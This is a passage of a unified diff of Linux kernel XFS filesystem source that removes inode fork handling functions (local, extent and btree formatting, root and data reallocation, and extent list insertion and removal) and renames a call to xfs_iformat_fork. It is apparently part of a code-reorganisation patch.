-xfs_iformat_local( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork, - int size) -{ - xfs_ifork_t *ifp; - int real_size; - - /* - * If the size is unreasonable, then something - * is wrong and we just bail out rather than crash in - * kmem_alloc() or memcpy() below. - */ - if (unlikely(size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad size %d for local fork, size = %d).", - (unsigned long long) ip->i_ino, size, - XFS_DFORK_SIZE(dip, ip->i_mount, whichfork)); - XFS_CORRUPTION_ERROR("xfs_iformat_local", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - ifp = XFS_IFORK_PTR(ip, whichfork); - real_size = 0; - if (size == 0) - ifp->if_u1.if_data = NULL; - else if (size <= sizeof(ifp->if_u2.if_inline_data)) - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - else { - real_size = roundup(size, 4); - ifp->if_u1.if_data = kmem_alloc(real_size, KM_SLEEP | KM_NOFS); - } - ifp->if_bytes = size; - ifp->if_real_bytes = real_size; - if (size) - memcpy(ifp->if_u1.if_data, XFS_DFORK_PTR(dip, whichfork), size); - ifp->if_flags &= ~XFS_IFEXTENTS; - ifp->if_flags |= XFS_IFINLINE; - return 0; -} - -/* - * The file consists of a set of extents all - * of which fit into the on-disk inode. - * If there are few enough extents to fit into - * the if_inline_ext, then copy them there. - * Otherwise allocate a buffer for them and copy - * them into it. Either way, set if_extents - * to point at the extents. - */ -STATIC int -xfs_iformat_extents( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork) -{ - xfs_bmbt_rec_t *dp; - xfs_ifork_t *ifp; - int nex; - int size; - int i; - - ifp = XFS_IFORK_PTR(ip, whichfork); - nex = XFS_DFORK_NEXTENTS(dip, whichfork); - size = nex * (uint)sizeof(xfs_bmbt_rec_t); - - /* - * If the number of extents is unreasonable, then something - * is wrong and we just bail out rather than crash in - * kmem_alloc() or memcpy() below. - */ - if (unlikely(size < 0 || size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { - xfs_warn(ip->i_mount, "corrupt inode %Lu ((a)extents = %d).", - (unsigned long long) ip->i_ino, nex); - XFS_CORRUPTION_ERROR("xfs_iformat_extents(1)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - ifp->if_real_bytes = 0; - if (nex == 0) - ifp->if_u1.if_extents = NULL; - else if (nex <= XFS_INLINE_EXTS) - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - else - xfs_iext_add(ifp, 0, nex); - - ifp->if_bytes = size; - if (size) { - dp = (xfs_bmbt_rec_t *) XFS_DFORK_PTR(dip, whichfork); - xfs_validate_extents(ifp, nex, XFS_EXTFMT_INODE(ip)); - for (i = 0; i < nex; i++, dp++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - ep->l0 = get_unaligned_be64(&dp->l0); - ep->l1 = get_unaligned_be64(&dp->l1); - } - XFS_BMAP_TRACE_EXLIST(ip, nex, whichfork); - if (whichfork != XFS_DATA_FORK || - XFS_EXTFMT_INODE(ip) == XFS_EXTFMT_NOSTATE) - if (unlikely(xfs_check_nostate_extents( - ifp, 0, nex))) { - XFS_ERROR_REPORT("xfs_iformat_extents(2)", - XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - } - ifp->if_flags |= XFS_IFEXTENTS; - return 0; -} - -/* - * The file has too many extents to fit into - * the inode, so they are in B-tree format. - * Allocate a buffer for the root of the B-tree - * and copy the root into it. The i_extents - * field will remain NULL until all of the - * extents are read in (when they are needed). - */ -STATIC int -xfs_iformat_btree( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork) -{ - struct xfs_mount *mp = ip->i_mount; - xfs_bmdr_block_t *dfp; - xfs_ifork_t *ifp; - /* REFERENCED */ - int nrecs; - int size; - - ifp = XFS_IFORK_PTR(ip, whichfork); - dfp = (xfs_bmdr_block_t *)XFS_DFORK_PTR(dip, whichfork); - size = XFS_BMAP_BROOT_SPACE(mp, dfp); - nrecs = be16_to_cpu(dfp->bb_numrecs); - - /* - * blow out if -- fork has less extents than can fit in - * fork (fork shouldn't be a btree format), root btree - * block has more records than can fit into the fork, - * or the number of extents is greater than the number of - * blocks. - */ - if (unlikely(XFS_IFORK_NEXTENTS(ip, whichfork) <= - XFS_IFORK_MAXEXT(ip, whichfork) || - XFS_BMDR_SPACE_CALC(nrecs) > - XFS_DFORK_SIZE(dip, mp, whichfork) || - XFS_IFORK_NEXTENTS(ip, whichfork) > ip->i_d.di_nblocks)) { - xfs_warn(mp, "corrupt inode %Lu (btree).", - (unsigned long long) ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat_btree", XFS_ERRLEVEL_LOW, - mp, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - ifp->if_broot_bytes = size; - ifp->if_broot = kmem_alloc(size, KM_SLEEP | KM_NOFS); - ASSERT(ifp->if_broot != NULL); - /* - * Copy and convert from the on-disk structure - * to the in-memory structure. - */ - xfs_bmdr_to_bmbt(ip, dfp, XFS_DFORK_SIZE(dip, ip->i_mount, whichfork), - ifp->if_broot, size); - ifp->if_flags &= ~XFS_IFEXTENTS; - ifp->if_flags |= XFS_IFBROOT; - - return 0; -} - void xfs_dinode_from_disk( xfs_icdinode_t *to, @@ -656,7 +278,6 @@ xfs_dinode_verify( return false; return true; } - void xfs_dinode_calc_crc( struct xfs_mount *mp, @@ -714,13 +335,13 @@ xfs_iread( /* * If the on-disk inode is already linked to a directory * entry, copy all of the inode into the in-core inode. - * xfs_iformat() handles copying in the inode format + * xfs_iformat_fork() handles copying in the inode format * specific information. * Otherwise, just get the truly permanent information. */ if (dip->di_mode) { xfs_dinode_from_disk(&ip->i_d, dip); - error = xfs_iformat(ip, dip); + error = xfs_iformat_fork(ip, dip); if (error) { #ifdef DEBUG xfs_alert(mp, "%s: xfs_iformat() returned error %d", @@ -796,1498 +417,3 @@ xfs_iread( xfs_trans_brelse(tp, bp); return error; } - -/* - * Read in extents from a btree-format inode. - * Allocate and fill in if_extents. Real work is done in xfs_bmap.c. - */ -int -xfs_iread_extents( - xfs_trans_t *tp, - xfs_inode_t *ip, - int whichfork) -{ - int error; - xfs_ifork_t *ifp; - xfs_extnum_t nextents; - - if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { - XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - nextents = XFS_IFORK_NEXTENTS(ip, whichfork); - ifp = XFS_IFORK_PTR(ip, whichfork); - - /* - * We know that the size is valid (it's checked in iformat_btree) - */ - ifp->if_bytes = ifp->if_real_bytes = 0; - ifp->if_flags |= XFS_IFEXTENTS; - xfs_iext_add(ifp, 0, nextents); - error = xfs_bmap_read_extents(tp, ip, whichfork); - if (error) { - xfs_iext_destroy(ifp); - ifp->if_flags &= ~XFS_IFEXTENTS; - return error; - } - xfs_validate_extents(ifp, nextents, XFS_EXTFMT_INODE(ip)); - return 0; -} - -/* - * Reallocate the space for if_broot based on the number of records - * being added or deleted as indicated in rec_diff. Move the records - * and pointers in if_broot to fit the new size. When shrinking this - * will eliminate holes between the records and pointers created by - * the caller. When growing this will create holes to be filled in - * by the caller. - * - * The caller must not request to add more records than would fit in - * the on-disk inode root. If the if_broot is currently NULL, then - * if we adding records one will be allocated. The caller must also - * not request that the number of records go below zero, although - * it can go to zero. - * - * ip -- the inode whose if_broot area is changing - * ext_diff -- the change in the number of records, positive or negative, - * requested for the if_broot array. - */ -void -xfs_iroot_realloc( - xfs_inode_t *ip, - int rec_diff, - int whichfork) -{ - struct xfs_mount *mp = ip->i_mount; - int cur_max; - xfs_ifork_t *ifp; - struct xfs_btree_block *new_broot; - int new_max; - size_t new_size; - char *np; - char *op; - - /* - * Handle the degenerate case quietly. - */ - if (rec_diff == 0) { - return; - } - - ifp = XFS_IFORK_PTR(ip, whichfork); - if (rec_diff > 0) { - /* - * If there wasn't any memory allocated before, just - * allocate it now and get out. - */ - if (ifp->if_broot_bytes == 0) { - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, rec_diff); - ifp->if_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); - ifp->if_broot_bytes = (int)new_size; - return; - } - - /* - * If there is already an existing if_broot, then we need - * to realloc() it and shift the pointers to their new - * location. The records don't change location because - * they are kept butted up against the btree block header. - */ - cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); - new_max = cur_max + rec_diff; - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); - ifp->if_broot = kmem_realloc(ifp->if_broot, new_size, - XFS_BMAP_BROOT_SPACE_CALC(mp, cur_max), - KM_SLEEP | KM_NOFS); - op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - ifp->if_broot_bytes); - np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - (int)new_size); - ifp->if_broot_bytes = (int)new_size; - ASSERT(ifp->if_broot_bytes <= - XFS_IFORK_SIZE(ip, whichfork) + XFS_BROOT_SIZE_ADJ(ip)); - memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); - return; - } - - /* - * rec_diff is less than 0. In this case, we are shrinking the - * if_broot buffer. It must already exist. If we go to zero - * records, just get rid of the root and clear the status bit. - */ - ASSERT((ifp->if_broot != NULL) && (ifp->if_broot_bytes > 0)); - cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); - new_max = cur_max + rec_diff; - ASSERT(new_max >= 0); - if (new_max > 0) - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); - else - new_size = 0; - if (new_size > 0) { - new_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); - /* - * First copy over the btree block header. - */ - memcpy(new_broot, ifp->if_broot, - XFS_BMBT_BLOCK_LEN(ip->i_mount)); - } else { - new_broot = NULL; - ifp->if_flags &= ~XFS_IFBROOT; - } - - /* - * Only copy the records and pointers if there are any. - */ - if (new_max > 0) { - /* - * First copy the records. - */ - op = (char *)XFS_BMBT_REC_ADDR(mp, ifp->if_broot, 1); - np = (char *)XFS_BMBT_REC_ADDR(mp, new_broot, 1); - memcpy(np, op, new_max * (uint)sizeof(xfs_bmbt_rec_t)); - - /* - * Then copy the pointers. - */ - op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - ifp->if_broot_bytes); - np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, - (int)new_size); - memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); - } - kmem_free(ifp->if_broot); - ifp->if_broot = new_broot; - ifp->if_broot_bytes = (int)new_size; - ASSERT(ifp->if_broot_bytes <= - XFS_IFORK_SIZE(ip, whichfork) + XFS_BROOT_SIZE_ADJ(ip)); - return; -} - - -/* - * This is called when the amount of space needed for if_data - * is increased or decreased. The change in size is indicated by - * the number of bytes that need to be added or deleted in the - * byte_diff parameter. - * - * If the amount of space needed has decreased below the size of the - * inline buffer, then switch to using the inline buffer. Otherwise, - * use kmem_realloc() or kmem_alloc() to adjust the size of the buffer - * to what is needed. - * - * ip -- the inode whose if_data area is changing - * byte_diff -- the change in the number of bytes, positive or negative, - * requested for the if_data array. - */ -void -xfs_idata_realloc( - xfs_inode_t *ip, - int byte_diff, - int whichfork) -{ - xfs_ifork_t *ifp; - int new_size; - int real_size; - - if (byte_diff == 0) { - return; - } - - ifp = XFS_IFORK_PTR(ip, whichfork); - new_size = (int)ifp->if_bytes + byte_diff; - ASSERT(new_size >= 0); - - if (new_size == 0) { - if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - kmem_free(ifp->if_u1.if_data); - } - ifp->if_u1.if_data = NULL; - real_size = 0; - } else if (new_size <= sizeof(ifp->if_u2.if_inline_data)) { - /* - * If the valid extents/data can fit in if_inline_ext/data, - * copy them from the malloc'd vector and free it. - */ - if (ifp->if_u1.if_data == NULL) { - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - ASSERT(ifp->if_real_bytes != 0); - memcpy(ifp->if_u2.if_inline_data, ifp->if_u1.if_data, - new_size); - kmem_free(ifp->if_u1.if_data); - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - } - real_size = 0; - } else { - /* - * Stuck with malloc/realloc. - * For inline data, the underlying buffer must be - * a multiple of 4 bytes in size so that it can be - * logged and stay on word boundaries. We enforce - * that here. - */ - real_size = roundup(new_size, 4); - if (ifp->if_u1.if_data == NULL) { - ASSERT(ifp->if_real_bytes == 0); - ifp->if_u1.if_data = kmem_alloc(real_size, - KM_SLEEP | KM_NOFS); - } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - /* - * Only do the realloc if the underlying size - * is really changing. - */ - if (ifp->if_real_bytes != real_size) { - ifp->if_u1.if_data = - kmem_realloc(ifp->if_u1.if_data, - real_size, - ifp->if_real_bytes, - KM_SLEEP | KM_NOFS); - } - } else { - ASSERT(ifp->if_real_bytes == 0); - ifp->if_u1.if_data = kmem_alloc(real_size, - KM_SLEEP | KM_NOFS); - memcpy(ifp->if_u1.if_data, ifp->if_u2.if_inline_data, - ifp->if_bytes); - } - } - ifp->if_real_bytes = real_size; - ifp->if_bytes = new_size; - ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); -} - -void -xfs_idestroy_fork( - xfs_inode_t *ip, - int whichfork) -{ - xfs_ifork_t *ifp; - - ifp = XFS_IFORK_PTR(ip, whichfork); - if (ifp->if_broot != NULL) { - kmem_free(ifp->if_broot); - ifp->if_broot = NULL; - } - - /* - * If the format is local, then we can't have an extents - * array so just look for an inline data array. If we're - * not local then we may or may not have an extents list, - * so check and free it up if we do. - */ - if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { - if ((ifp->if_u1.if_data != ifp->if_u2.if_inline_data) && - (ifp->if_u1.if_data != NULL)) { - ASSERT(ifp->if_real_bytes != 0); - kmem_free(ifp->if_u1.if_data); - ifp->if_u1.if_data = NULL; - ifp->if_real_bytes = 0; - } - } else if ((ifp->if_flags & XFS_IFEXTENTS) && - ((ifp->if_flags & XFS_IFEXTIREC) || - ((ifp->if_u1.if_extents != NULL) && - (ifp->if_u1.if_extents != ifp->if_u2.if_inline_ext)))) { - ASSERT(ifp->if_real_bytes != 0); - xfs_iext_destroy(ifp); - } - ASSERT(ifp->if_u1.if_extents == NULL || - ifp->if_u1.if_extents == ifp->if_u2.if_inline_ext); - ASSERT(ifp->if_real_bytes == 0); - if (whichfork == XFS_ATTR_FORK) { - kmem_zone_free(xfs_ifork_zone, ip->i_afp); - ip->i_afp = NULL; - } -} - -/* - * xfs_iextents_copy() - * - * This is called to copy the REAL extents (as opposed to the delayed - * allocation extents) from the inode into the given buffer. It - * returns the number of bytes copied into the buffer. - * - * If there are no delayed allocation extents, then we can just - * memcpy() the extents into the buffer. Otherwise, we need to - * examine each extent in turn and skip those which are delayed. - */ -int -xfs_iextents_copy( - xfs_inode_t *ip, - xfs_bmbt_rec_t *dp, - int whichfork) -{ - int copied; - int i; - xfs_ifork_t *ifp; - int nrecs; - xfs_fsblock_t start_block; - - ifp = XFS_IFORK_PTR(ip, whichfork); - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); - ASSERT(ifp->if_bytes > 0); - - nrecs = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - XFS_BMAP_TRACE_EXLIST(ip, nrecs, whichfork); - ASSERT(nrecs > 0); - - /* - * There are some delayed allocation extents in the - * inode, so copy the extents one at a time and skip - * the delayed ones. There must be at least one - * non-delayed extent. - */ - copied = 0; - for (i = 0; i < nrecs; i++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - start_block = xfs_bmbt_get_startblock(ep); - if (isnullstartblock(start_block)) { - /* - * It's a delayed allocation extent, so skip it. - */ - continue; - } - - /* Translate to on disk format */ - put_unaligned_be64(ep->l0, &dp->l0); - put_unaligned_be64(ep->l1, &dp->l1); - dp++; - copied++; - } - ASSERT(copied != 0); - xfs_validate_extents(ifp, copied, XFS_EXTFMT_INODE(ip)); - - return (copied * (uint)sizeof(xfs_bmbt_rec_t)); -} - -/* - * Each of the following cases stores data into the same region - * of the on-disk inode, so only one of them can be valid at - * any given time. While it is possible to have conflicting formats - * and log flags, e.g. having XFS_ILOG_?DATA set when the fork is - * in EXTENTS format, this can only happen when the fork has - * changed formats after being modified but before being flushed. - * In these cases, the format always takes precedence, because the - * format indicates the current state of the fork. - */ -/*ARGSUSED*/ -void -xfs_iflush_fork( - xfs_inode_t *ip, - xfs_dinode_t *dip, - xfs_inode_log_item_t *iip, - int whichfork, - xfs_buf_t *bp) -{ - char *cp; - xfs_ifork_t *ifp; - xfs_mount_t *mp; - - static const short brootflag[2] = - { XFS_ILOG_DBROOT, XFS_ILOG_ABROOT }; - static const short dataflag[2] = - { XFS_ILOG_DDATA, XFS_ILOG_ADATA }; - static const short extflag[2] = - { XFS_ILOG_DEXT, XFS_ILOG_AEXT }; - - if (!iip) - return; - ifp = XFS_IFORK_PTR(ip, whichfork); - /* - * This can happen if we gave up in iformat in an error path, - * for the attribute fork. - */ - if (!ifp) { - ASSERT(whichfork == XFS_ATTR_FORK); - return; - } - cp = XFS_DFORK_PTR(dip, whichfork); - mp = ip->i_mount; - switch (XFS_IFORK_FORMAT(ip, whichfork)) { - case XFS_DINODE_FMT_LOCAL: - if ((iip->ili_fields & dataflag[whichfork]) && - (ifp->if_bytes > 0)) { - ASSERT(ifp->if_u1.if_data != NULL); - ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); - memcpy(cp, ifp->if_u1.if_data, ifp->if_bytes); - } - break; - - case XFS_DINODE_FMT_EXTENTS: - ASSERT((ifp->if_flags & XFS_IFEXTENTS) || - !(iip->ili_fields & extflag[whichfork])); - if ((iip->ili_fields & extflag[whichfork]) && - (ifp->if_bytes > 0)) { - ASSERT(xfs_iext_get_ext(ifp, 0)); - ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) > 0); - (void)xfs_iextents_copy(ip, (xfs_bmbt_rec_t *)cp, - whichfork); - } - break; - - case XFS_DINODE_FMT_BTREE: - if ((iip->ili_fields & brootflag[whichfork]) && - (ifp->if_broot_bytes > 0)) { - ASSERT(ifp->if_broot != NULL); - ASSERT(ifp->if_broot_bytes <= - (XFS_IFORK_SIZE(ip, whichfork) + - XFS_BROOT_SIZE_ADJ(ip))); - xfs_bmbt_to_bmdr(mp, ifp->if_broot, ifp->if_broot_bytes, - (xfs_bmdr_block_t *)cp, - XFS_DFORK_SIZE(dip, mp, whichfork)); - } - break; - - case XFS_DINODE_FMT_DEV: - if (iip->ili_fields & XFS_ILOG_DEV) { - ASSERT(whichfork == XFS_DATA_FORK); - xfs_dinode_put_rdev(dip, ip->i_df.if_u2.if_rdev); - } - break; - - case XFS_DINODE_FMT_UUID: - if (iip->ili_fields & XFS_ILOG_UUID) { - ASSERT(whichfork == XFS_DATA_FORK); - memcpy(XFS_DFORK_DPTR(dip), - &ip->i_df.if_u2.if_uuid, - sizeof(uuid_t)); - } - break; - - default: - ASSERT(0); - break; - } -} - -/* - * Return a pointer to the extent record at file index idx. - */ -xfs_bmbt_rec_host_t * -xfs_iext_get_ext( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx) /* index of target extent */ -{ - ASSERT(idx >= 0); - ASSERT(idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); - - if ((ifp->if_flags & XFS_IFEXTIREC) && (idx == 0)) { - return ifp->if_u1.if_ext_irec->er_extbuf; - } else if (ifp->if_flags & XFS_IFEXTIREC) { - xfs_ext_irec_t *erp; /* irec pointer */ - int erp_idx = 0; /* irec index */ - xfs_extnum_t page_idx = idx; /* ext index in target list */ - - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); - return &erp->er_extbuf[page_idx]; - } else if (ifp->if_bytes) { - return &ifp->if_u1.if_extents[idx]; - } else { - return NULL; - } -} - -/* - * Insert new item(s) into the extent records for incore inode - * fork 'ifp'. 'count' new items are inserted at index 'idx'. - */ -void -xfs_iext_insert( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_extnum_t idx, /* starting index of new items */ - xfs_extnum_t count, /* number of inserted items */ - xfs_bmbt_irec_t *new, /* items to insert */ - int state) /* type of extent conversion */ -{ - xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; - xfs_extnum_t i; /* extent record index */ - - trace_xfs_iext_insert(ip, idx, new, state, _RET_IP_); - - ASSERT(ifp->if_flags & XFS_IFEXTENTS); - xfs_iext_add(ifp, idx, count); - for (i = idx; i < idx + count; i++, new++) - xfs_bmbt_set_all(xfs_iext_get_ext(ifp, i), new); -} - -/* - * This is called when the amount of space required for incore file - * extents needs to be increased. The ext_diff parameter stores the - * number of new extents being added and the idx parameter contains - * the extent index where the new extents will be added. If the new - * extents are being appended, then we just need to (re)allocate and - * initialize the space. Otherwise, if the new extents are being - * inserted into the middle of the existing entries, a bit more work - * is required to make room for the new extents to be inserted. The - * caller is responsible for filling in the new extent entries upon - * return. - */ -void -xfs_iext_add( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin adding exts */ - int ext_diff) /* number of extents to add */ -{ - int byte_diff; /* new bytes being added */ - int new_size; /* size of extents after adding */ - xfs_extnum_t nextents; /* number of extents in file */ - - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT((idx >= 0) && (idx <= nextents)); - byte_diff = ext_diff * sizeof(xfs_bmbt_rec_t); - new_size = ifp->if_bytes + byte_diff; - /* - * If the new number of extents (nextents + ext_diff) - * fits inside the inode, then continue to use the inline - * extent buffer. - */ - if (nextents + ext_diff <= XFS_INLINE_EXTS) { - if (idx < nextents) { - memmove(&ifp->if_u2.if_inline_ext[idx + ext_diff], - &ifp->if_u2.if_inline_ext[idx], - (nextents - idx) * sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u2.if_inline_ext[idx], 0, byte_diff); - } - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - ifp->if_real_bytes = 0; - } - /* - * Otherwise use a linear (direct) extent list. - * If the extents are currently inside the inode, - * xfs_iext_realloc_direct will switch us from - * inline to direct extent allocation mode. - */ - else if (nextents + ext_diff <= XFS_LINEAR_EXTS) { - xfs_iext_realloc_direct(ifp, new_size); - if (idx < nextents) { - memmove(&ifp->if_u1.if_extents[idx + ext_diff], - &ifp->if_u1.if_extents[idx], - (nextents - idx) * sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u1.if_extents[idx], 0, byte_diff); - } - } - /* Indirection array */ - else { - xfs_ext_irec_t *erp; - int erp_idx = 0; - int page_idx = idx; - - ASSERT(nextents + ext_diff > XFS_LINEAR_EXTS); - if (ifp->if_flags & XFS_IFEXTIREC) { - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 1); - } else { - xfs_iext_irec_init(ifp); - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = ifp->if_u1.if_ext_irec; - } - /* Extents fit in target extent page */ - if (erp && erp->er_extcount + ext_diff <= XFS_LINEAR_EXTS) { - if (page_idx < erp->er_extcount) { - memmove(&erp->er_extbuf[page_idx + ext_diff], - &erp->er_extbuf[page_idx], - (erp->er_extcount - page_idx) * - sizeof(xfs_bmbt_rec_t)); - memset(&erp->er_extbuf[page_idx], 0, byte_diff); - } - erp->er_extcount += ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - } - /* Insert a new extent page */ - else if (erp) { - xfs_iext_add_indirect_multi(ifp, - erp_idx, page_idx, ext_diff); - } - /* - * If extent(s) are being appended to the last page in - * the indirection array and the new extent(s) don't fit - * in the page, then erp is NULL and erp_idx is set to - * the next index needed in the indirection array. - */ - else { - int count = ext_diff; - - while (count) { - erp = xfs_iext_irec_new(ifp, erp_idx); - erp->er_extcount = count; - count -= MIN(count, (int)XFS_LINEAR_EXTS); - if (count) { - erp_idx++; - } - } - } - } - ifp->if_bytes = new_size; -} - -/* - * This is called when incore extents are being added to the indirection - * array and the new extents do not fit in the target extent list. The - * erp_idx parameter contains the irec index for the target extent list - * in the indirection array, and the idx parameter contains the extent - * index within the list. The number of extents being added is stored - * in the count parameter. - * - * |-------| |-------| - * | | | | idx - number of extents before idx - * | idx | | count | - * | | | | count - number of extents being inserted at idx - * |-------| |-------| - * | count | | nex2 | nex2 - number of extents after idx + count - * |-------| |-------| - */ -void -xfs_iext_add_indirect_multi( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx, /* target extent irec index */ - xfs_extnum_t idx, /* index within target list */ - int count) /* new extents being added */ -{ - int byte_diff; /* new bytes being added */ - xfs_ext_irec_t *erp; /* pointer to irec entry */ - xfs_extnum_t ext_diff; /* number of extents to add */ - xfs_extnum_t ext_cnt; /* new extents still needed */ - xfs_extnum_t nex2; /* extents after idx + count */ - xfs_bmbt_rec_t *nex2_ep = NULL; /* temp list for nex2 extents */ - int nlists; /* number of irec's (lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - nex2 = erp->er_extcount - idx; - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - - /* - * Save second part of target extent list - * (all extents past */ - if (nex2) { - byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); - nex2_ep = (xfs_bmbt_rec_t *) kmem_alloc(byte_diff, KM_NOFS); - memmove(nex2_ep, &erp->er_extbuf[idx], byte_diff); - erp->er_extcount -= nex2; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -nex2); - memset(&erp->er_extbuf[idx], 0, byte_diff); - } - - /* - * Add the new extents to the end of the target - * list, then allocate new irec record(s) and - * extent buffer(s) as needed to store the rest - * of the new extents. - */ - ext_cnt = count; - ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS - erp->er_extcount); - if (ext_diff) { - erp->er_extcount += ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - ext_cnt -= ext_diff; - } - while (ext_cnt) { - erp_idx++; - erp = xfs_iext_irec_new(ifp, erp_idx); - ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS); - erp->er_extcount = ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - ext_cnt -= ext_diff; - } - - /* Add nex2 extents back to indirection array */ - if (nex2) { - xfs_extnum_t ext_avail; - int i; - - byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); - ext_avail = XFS_LINEAR_EXTS - erp->er_extcount; - i = 0; - /* - * If nex2 extents fit in the current page, append - * nex2_ep after the new extents. - */ - if (nex2 <= ext_avail) { - i = erp->er_extcount; - } - /* - * Otherwise, check if space is available in the - * next page. - */ - else if ((erp_idx < nlists - 1) && - (nex2 <= (ext_avail = XFS_LINEAR_EXTS - - ifp->if_u1.if_ext_irec[erp_idx+1].er_extcount))) { - erp_idx++; - erp++; - /* Create a hole for nex2 extents */ - memmove(&erp->er_extbuf[nex2], erp->er_extbuf, - erp->er_extcount * sizeof(xfs_bmbt_rec_t)); - } - /* - * Final choice, create a new extent page for - * nex2 extents. - */ - else { - erp_idx++; - erp = xfs_iext_irec_new(ifp, erp_idx); - } - memmove(&erp->er_extbuf[i], nex2_ep, byte_diff); - kmem_free(nex2_ep); - erp->er_extcount += nex2; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, nex2); - } -} - -/* - * This is called when the amount of space required for incore file - * extents needs to be decreased. The ext_diff parameter stores the - * number of extents to be removed and the idx parameter contains - * the extent index where the extents will be removed from. - * - * If the amount of space needed has decreased below the linear - * limit, XFS_IEXT_BUFSZ, then switch to using the contiguous - * extent array. Otherwise, use kmem_realloc() to adjust the - * size to what is needed. - */ -void -xfs_iext_remove( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff, /* number of extents to remove */ - int state) /* type of extent conversion */ -{ - xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; - xfs_extnum_t nextents; /* number of extents in file */ - int new_size; /* size of extents after removal */ - - trace_xfs_iext_remove(ip, idx, state, _RET_IP_); - - ASSERT(ext_diff > 0); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - new_size = (nextents - ext_diff) * sizeof(xfs_bmbt_rec_t); - - if (new_size == 0) { - xfs_iext_destroy(ifp); - } else if (ifp->if_flags & XFS_IFEXTIREC) { - xfs_iext_remove_indirect(ifp, idx, ext_diff); - } else if (ifp->if_real_bytes) { - xfs_iext_remove_direct(ifp, idx, ext_diff); - } else { - xfs_iext_remove_inline(ifp, idx, ext_diff); - } - ifp->if_bytes = new_size; -} - -/* - * This removes ext_diff extents from the inline buffer, beginning - * at extent index idx. - */ -void -xfs_iext_remove_inline( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff) /* number of extents to remove */ -{ - int nextents; /* number of extents in file */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - ASSERT(idx < XFS_INLINE_EXTS); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - 